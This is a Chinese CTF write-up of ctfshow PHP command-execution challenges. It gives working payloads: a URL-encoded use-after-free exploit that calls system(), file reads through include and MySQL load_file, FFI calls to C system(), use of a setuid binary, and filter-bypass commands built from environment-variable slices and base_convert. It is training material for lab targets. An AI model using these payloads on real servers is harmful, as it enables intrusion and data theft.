24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0a%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0a%20%20%20%20%7d%0a%0a%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%31%30%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%0a%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0a%20%20%20%20%65%78%69%74%28%29%3b%0a%7d%0a%0a%63%74%66%73%68%6f%77%28%22%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%6f%62%5f%65%6e%64%5f%66%6c%75%73%68%28%29%3b%0a%3f%3e
ctfshow{b17c6689-2a10-4e6f-b03e-c2f49c222336}
当然还有另一种方法,下面的题会提到
web73
命令执行,突破禁用函数,求你们别秀了
无源码
flag在/flagc.txt
这次没有访问限制了
c=include('/flagc.txt');die();
ctfshow{50d33b2a-5b97-4223-aac2-c78182441cb5}
web74
命令执行,突破禁用函数,求你们别秀了
flagx.txt
c=include('/flagx.txt');die();
ctfshow{222aeadb-0ffb-42bc-8c80-74e8e0caae38}
web75
命令执行,突破禁用函数,求你们别秀了
php有访问限制,UAF中strlen也被ban了,不过可以利用mysql绕过php访问限制
可以看到靶机是有mysql的
连接mysql,执行mysql语句select load_file("/flag36.txt")
拿到flag
c=
$con = mysqli_connect("localhost","root","root");
$result = mysqli_query($con, 'select load_file("/flag36.txt")');
$row = mysqli_fetch_assoc($result);
foreach($row as $c)
echo($c);
die();
ctfshow{fc5f2bcb-c2cc-43df-9513-0acd83f70f95}
web76
命令执行,突破禁用函数,求你们别秀了
36d是吧,好好好
c=
$con = mysqli_connect("localhost","root","root");
$result = mysqli_query($con, 'select load_file("/flag36d.txt")');
$row = mysqli_fetch_assoc($result);
foreach($row as $a)
echo($a);
die();
ctfshow{d8877e6a-9560-453c-a216-9223feaf23db}
web77
命令执行最后一题,php7.4,基本上命令执行就告一段落了
这题挺有意思,提示了php7.4的版本,在PHP7.4: 新特性 - Manual中更新了FFI扩展
PHP: 基础 FFI 用法 - Manual,相当于我们可以api调用c语言的函数辣
我们可以构造如下代码调用c的system来执行shell
c=
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami");
可并无回显
外部函数接口在外部后台执行的,怎么会有回显呢
可以发现c执行的输出定向到linux标准输出,不走web
简单来说,php通过中间件输出到web,而外部调用c输出本地,个人理解,欢迎指正
再加两行
$ffi->system("whoami > a");
echo include"a";
a在当前目录下,没有限制
记住这个www-data,后面要考
c=
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("ls /> a");
include"a";
die();
c=
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("cat flag36x.txt> a");
include"a.txt";
die();
竟然没有回显
46字节是有数据的,问题出在权限上,文件权限-r–r-----,而在前面提到用户是www-data,啥也干不了
问题不大,根目录下还有一个readflag,我们有读和执行的权限
是个ELF文件
down下来反编译一下
执行了cat /flag36.txt
,按理和我们system执行的结果没区别,实则不然
此时我们再回到这个文件的权限上:-r-sr-xr-x
,发现在文件所有者
上的权限是r-s
,而非r-w
,这个s
代表特殊权限(Setuid)。当 s
替代 x
时,表示设置了 setuid 位。这意味着当执行该文件时,它将以文件所有者的权限运行,而不是执行者的权限。
顿悟,直接执行该文件读出flag即可
c=
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag > a");
include"a";
die();
ctfshow{39dacd76-7b9a-4c28-a815-76d4bd5b5c9f}
ctfshow flag getter和flag是倒过来输出的>
web118
flag in flag.php
有个post提交框,提交空白试试
报错发现提交的数据被传进system函数了,前端代码也有提示
接着测试发现小写字母、数字和大部分符号都被ban了,保留了$
、{
、}
、?
、.
等
之前方法基本都用不了了,当然,有新姿势
先看一个好玩的
可以发现${PATH:5:1}${PATH:11:1}
执行了ls
可以发现${PATH:5:1}${PATH:11:1}
就是产出了ls
,why?
这就要说到环境变量和linux中的切片了
-
set
可以查看所有本地环境变量,而这些环境变量基本全都是大写和字符组成 -
和php一样,echo $[变量名]可以打印出环境变量
-
在linux中
${var:offset:length}
为字符串切片,其中var为变量名,offset为开始的偏移量,length为截取长度当length为负数时,length为结束的偏移量
通过对环境变量的切片的方法,就可以利用环境变量中的字符构造出需要的命令
回到${PATH:5:1}${PATH:11:1}
,利用/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
中第6位(offset+1)字符l
和第12位字符s
,组合执行ls
那么问题来了,题目中数字被ban了,无法确定某个字符位置怎么办呢?
在web57中,有提到$(())
相当于0
,取反后就是-1
,可是(
)
也被ban了
不过,${}
会解析括号内所有的变量及运算式
如果,我们对一个空变量作取反运算呢
可以通过${PATH:~N}
拿到了PATH
环境变量的最后一个字符n
,如果再拿到一个l
,不就可以执行nl
了吗
php web默认目录一般在/var/www/html
,而$PWD
存储工作目录,${PWD:~N}
就可以拿到字符l
flag.php可以用????????
表示
于是
${PATH:~N}${PWD:~N} ????????
ctfshow{a3aaa603-35f6-40be-89da-36fe7a049295}
当然,这题也可以利用${#var}
对var变量的字符数量统计来任意位置字符提取,例如
web119
这题多ban了PATH
,无伤大雅
众所周知,linux指令是不可以用?
通配的,但文件可以,指令也是通过调用bin文件夹下的文件执行的,而文件路径就可以用?
通配了,搭配上一章的${PWD:~N}
==>n
是否可以构造出nl
呢?
看一下nl
指令在哪
/???/???/?${PWD:~N}
可以发现执行成功了,但问题来了,/
被ban了,该怎么表示呢?
在环境变量PWD
中,第一位就是/
,可如何截取呢?
截取单个字符,length=1
是尤为重要的
上一章结尾提到了,${}
中变量前加#
可以返回变量字符串长度,查看环境变量发现变量SHLVL值为1
变量SHLVL
用来指示当前 shell 的嵌套层次,不能确定嵌套层次,但基本上是个位数
于是,构造
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:~N} ????????
web120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
又加了个长度限制,65个字符以内,问题不大
$#
==>传给脚本的参数个数
没想到#
也是变量吧,其实?
也是
将上一章${PWD::${SHLVL}}
换成${PWD::${##}}
即可
code=${PWD::${##}}???${PWD::${##}}???${PWD::${##}}?${PWD:~N} ????????
ctfshow{476342c1-1b4b-45c1-93ee-febebd6532b4}
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
喜欢玩极限是吧
利用${PWD:${#IFS}:${##}}
截取PWD
变量(/var/www/html
)中第4个字符r
,从而构造/???/r??
执行 /bin/rev
IFS=$’ \t\n’
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????????
echo "galf"|rev
ctfshow{c46d1a47-a7b5-4a1f-80f5-f82079d02607}
web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
PWD
和#
也被ban了,蓟县,不过<
被放出来了
先贴上payload
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????????
<A;
构造异常指令,使得退出状态码为1,而$?
值为最后命令的退出状态,0表示没有错误,其他表示有错误
常见的退出状态码
- 0: 成功
- 1: 一般错误,例如语法错误或未知命令
- 2: Misuse of shell built-ins(内建命令使用错误),例如使用错误的选项
- 126: 命令不可执行
- 127: 命令未找到
- 128: 无效的退出参数
- 128 + N: 表示命令被信号
N
中断 - 130: 命令通过
Ctrl+C
被用户终止
异常指令使?
变量值为1,再利用HOME
变量,构造${HOME::$?}
,得到/
再利用RANDOM
变量构造{RANDOM::?}随机输出第一位数字,当回赌狗,当首数字随机出4的时候,就可以执行/???/?????4
了,即/bin/base64
当赌狗就完事了
echo "base64encode"|base64 -d
ctfshow{996be85e-39d9-4f0f-8ac5-ef492ffaff9d}
web124
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
*/
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
最后一题了
这题挺有意思,黑名单里的符号都不能出现,字母只能用白名单里的函数,数字随便用
函数全是数学函数
函数 | 描述 | PHP |
---|---|---|
abs() | 绝对值。 | 3 |
acos() | 反余弦。 | 3 |
acosh() | 反双曲余弦。 | 4 |
asin() | 反正弦。 | 3 |
asinh() | 反双曲正弦。 | 4 |
atan() | 反正切。 | 3 |
atan2() | 两个参数的反正切。 | 3 |
atanh() | 反双曲正切。 | 4 |
base_convert() | 在任意进制之间转换数字。 | 3 |
bindec() | 把二进制转换为十进制。 | 3 |
ceil() | 向上舍入为最接近的整数。 | 3 |
cos() | 余弦。 | 3 |
cosh() | 双曲余弦。 | 4 |
decbin() | 把十进制转换为二进制。 | 3 |
dechex() | 把十进制转换为十六进制。 | 3 |
decoct() | 把十进制转换为八进制。 | 3 |
deg2rad() | 将角度转换为弧度。 | 3 |
exp() | 返回 Ex 的值。 | 3 |
expm1() | 返回 Ex - 1 的值。 | 4 |
floor() | 向下舍入为最接近的整数。 | 3 |
fmod() | 返回除法的浮点数余数。 | 4 |
getrandmax() | 显示随机数最大的可能值。 | 3 |
hexdec() | 把十六进制转换为十进制。 | 3 |
hypot() | 计算直角三角形的斜边长度。 | 4 |
is_finite() | 判断是否为有限值。 | 4 |
is_infinite() | 判断是否为无限值。 | 4 |
is_nan() | 判断是否为合法数值。 | 4 |
lcg_value() | 返回范围为 (0, 1) 的一个伪随机数。 | 4 |
log() | 自然对数。 | 3 |
log10() | 以 10 为底的对数。 | 3 |
log1p() | 返回 log(1 + number)。 | 4 |
max() | 返回最大值。 | 3 |
min() | 返回最小值。 | 3 |
mt_getrandmax() | 显示随机数的最大可能值。 | 3 |
mt_rand() | 使用 Mersenne Twister 算法返回随机整数。 | 3 |
mt_srand() | 播种 Mersenne Twister 随机数生成器。 | 3 |
octdec() | 把八进制转换为十进制。 | 3 |
pi() | 返回圆周率的值。 | 3 |
pow() | 返回 x 的 y 次方。 | 3 |
rad2deg() | 把弧度数转换为角度数。 | 3 |
rand() | 返回随机整数。 | 3 |
round() | 对浮点数进行四舍五入。 | 3 |
sin() | 正弦。 | 3 |
sinh() | 双曲正弦。 | 4 |
sqrt() | 平方根。 | 3 |
srand() | 播下随机数发生器种子。 | 3 |
tan() | 正切。 | 3 |
tanh() | 双曲正切。 | 4 |
base_convert
函数可以实现任意进制转换,我们熟知的2进制、10进制、16进制,到了16进制就用到字母abcde
了,那如果10+26=36进制呢?
是不是可以实现字母全覆盖呢?
实验证明是可行的
?c=$abs=base_convert(1751504350,10,36);$acos=base_convert(784,10,36);$abs($acos);
遗憾的是这题有长度和符号限制
那只能另辟蹊径,构造一个GET传参呢?
这样就可以突破字数限制了
可base_convert
转换的36进制为小写字母,_GET
为符号加大写字母,不过我们可以构造hex2bin
函数将GET
的十六进制编码解码为字符串,而十六进制非纯数字,再把十六进制编码转为十进制
超了,只能再换个短一点的函数dechex()(十进制转十六进制)
拿下
ctfshow{28941ce0-a42c-45fa-bf39-d45fb4c59989}